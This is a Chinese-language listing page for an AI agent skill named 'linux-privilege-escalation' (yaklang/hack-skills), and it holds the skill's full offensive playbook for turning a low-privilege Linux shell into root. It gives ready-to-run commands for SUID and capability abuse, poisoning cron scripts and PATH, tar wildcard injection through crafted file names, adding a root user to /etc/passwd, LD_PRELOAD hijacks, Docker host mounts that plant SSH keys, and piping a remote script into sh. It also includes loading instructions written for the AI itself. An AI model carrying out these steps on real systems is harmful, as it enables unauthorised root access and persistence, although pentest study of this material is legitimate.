mcpField
L
linux-privilege-escalation

linux-privilege-escalation

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 linux-privilege-escalation

面向安全测试人员的 Linux 提权手册,适用于检查低权限 Shell。内容按枚举步骤和提权路径组织,涵盖权限配置、Capabilities、定时任务等。

主要功能

  1. 01系统与权限枚举
  2. 02SUID/SGID 与能力滥用
  3. 03Cron 与计时器利用
  4. 04NFS 与可写文件路径
  5. 05库劫持及 Docker 组路径
  6. 06自动化枚举工具参考

适用场景

  1. 01检查低权限 Linux Shell
  2. 02排查 SUID、能力与 sudo 规则
  3. 03调查以 root 运行的 Cron 任务
  4. 04评估可写文件与 NFS 导出

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill linux-privilege-escalation

安装后在 Claude Code 中输入/linux-privilege-escalation确认已加载。

附带文件KERNEL_EXPLOITS_CHECKLIST.mdSUID_CAPABILITIES_TRICKS.md

详细介绍

技能:Linux 权限提升 — 专家攻击手册

AI 加载指令:Linux 专家级权限提升技术。涵盖枚举、SUID/SGID、Capabilities、cron 滥用、内核漏洞、NFS、可写的 passwd/shadow、LD_PRELOAD、Docker 组和库劫持。基础模型会遗漏通过 Capabilities 和组合配置错误实现的隐蔽提权路径。

0. 相关路由

深入分析前,可考虑加载:

高级参考

在需要以下内容时,也请加载 SUID_CAPABILITIES_TRICKS.md:

  • 前 30 个 SUID 二进制文件及其精确利用命令(GTFOBins)
  • 针对每种危险 cap 的专属利用方法
  • 自定义 SUID 二进制文件利用方法

在需要以下内容时,也请加载 KERNEL_EXPLOITS_CHECKLIST.md:

  • 内核版本 → 漏洞利用映射表(DirtyPipe、DirtyCow、OverlayFS 等)
  • 漏洞利用编译技巧和交叉编译说明
  • 内核漏洞利用稳定性评估

1. 枚举检查清单

获得 shell 后立即运行:

系统信息
uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context
Sudo 与 SUID/SGID
sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities
Cron 与计时器
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all     # systemd timers
可写文件与目录
find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow  # Check permissions
find / -perm -o+w -type d 2>/dev/null   # World-writable dirs
网络与服务
ss -tlnp                        # Listening services
cat /proc/net/tcp               # Raw TCP connections
ps aux                          # Running processes
env                             # Environment variables (credentials?)
凭据位置
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

2. SUID/SGID 利用

GTFOBins 方法
  1. 查找 SUID 二进制文件:find / -perm -4000 -type f 2>/dev/null
  2. 在 GTFOBins 中逐一查找
  3. 请特别使用 “SUID” 部分——并非所有二进制文件滥用方法都适用于 SUID
快速提权:SUID
二进制文件命令
bashbash -p
findfind . -exec /bin/sh -p \; -quit
vimvim -c ':!/bin/sh'
pythonpython -c 'import os; os.execl("/bin/sh","sh","-p")'
envenv /bin/sh -p
nmap(旧版)nmap --interactive → !sh
awkawk 'BEGIN {system("/bin/sh -p")}'
lessless /etc/passwd → !/bin/sh
cp复制 /etc/passwd,添加 root 用户,再复制回去
共享库劫持(SUID 二进制文件)
ldd /usr/local/bin/suid_binary                    # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths

# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")

3. 滥用 Capabilities

Capability风险利用方法
cap_setuid严重python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
cap_dac_override严重无视权限读取/写入任意文件
cap_dac_read_search高读取任意文件——转储 /etc/shadow
cap_sys_admin严重挂载文件系统、使用 BPF、操纵命名空间
cap_sys_ptrace高通过 ptrace 向 root 进程注入代码
cap_net_raw中嗅探流量、ARP 欺骗
cap_net_bind_service低绑定特权端口(<1024)
cap_fowner高更改任意文件的所有权
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

4. 滥用 CRON / 计时器

可写的 Cron 脚本
# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/

# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p
Cron 中的 PATH 劫持
# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
通配符注入(tar)
# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments
pspy — 无需 root 监控进程
# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes

5. NFS NO_ROOT_SQUASH

# On attacker: check exported shares
showmount -e TARGET_IP

# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On target:
/share/bash -p    # root shell

6. 可写的 /etc/passwd 或 /etc/shadow

可写的 /etc/passwd
# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...

# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's 'x' with generated hash (if no shadow file)
可写的 /etc/shadow
# Generate SHA-512 hash
mkpasswd -m sha-512 password123

# Replace root's hash in /etc/shadow

7. 配合 Sudo 使用 LD_PRELOAD / LD_LIBRARY_PATH

# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary

8. 从 Docker 组提权至 root

# If current user is in the docker group:
id    # check for "docker" in groups

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'

9. Python / Perl / Ruby 库劫持

# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'

# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF

# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation

10. 自动化工具

工具用途命令
LinPEAS全面枚举curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
linux-exploit-suggester内核漏洞利用建议./linux-exploit-suggester.sh
pspy监控进程(无需 root)./pspy64
LinEnum传统枚举./LinEnum.sh -t
GTFOBinsSUID/sudo/能力滥用参考https://gtfobins.github.io/

11. 权限提升决策树

Low-privilege shell obtained
│
├── sudo -l shows entries?
│   ├── GTFOBins match? → exploit directly
│   ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
│   ├── NOPASSWD on custom script? → review script for injection
│   └── (ALL) with password? → check for password reuse/hashes
│
├── SUID/SGID binaries found?
│   ├── Standard binary on GTFOBins? → SUID exploit (§2)
│   ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
│   └── Shared lib from writable path? → library hijack (§2)
│
├── Capabilities on binaries?
│   ├── cap_setuid? → instant root (§3)
│   ├── cap_dac_override? → write /etc/passwd (§6)
│   ├── cap_sys_admin? → mount / namespace tricks
│   └── cap_sys_ptrace? → process injection
│
├── Cron jobs running as root?
│   ├── Writable script? → inject payload (§4)
│   ├── Missing full path? → PATH hijack (§4)
│   └── Uses wildcards? → wildcard injection (§4)
│
├── Writable sensitive files?
│   ├── /etc/passwd writable? → add root user (§6)
│   ├── /etc/shadow writable? → replace root hash (§6)
│   └── systemd unit files writable? → add ExecStartPre
│
├── Docker/LXD group membership?
│   └── Yes → mount host filesystem (§8)
│
├── NFS shares with no_root_squash?
│   └── Yes → SUID binary via NFS (§5)
│
├── Kernel version old/unpatched?
│   └── Check KERNEL_EXPLOITS_CHECKLIST.md
│
└── None of the above?
    ├── Run LinPEAS for comprehensive scan
    ├── Check for password reuse (bash_history, config files)
    ├── Check internal services (127.0.0.1 listeners)
    └── Monitor processes with pspy for hidden opportunities

评论

支持 Markdown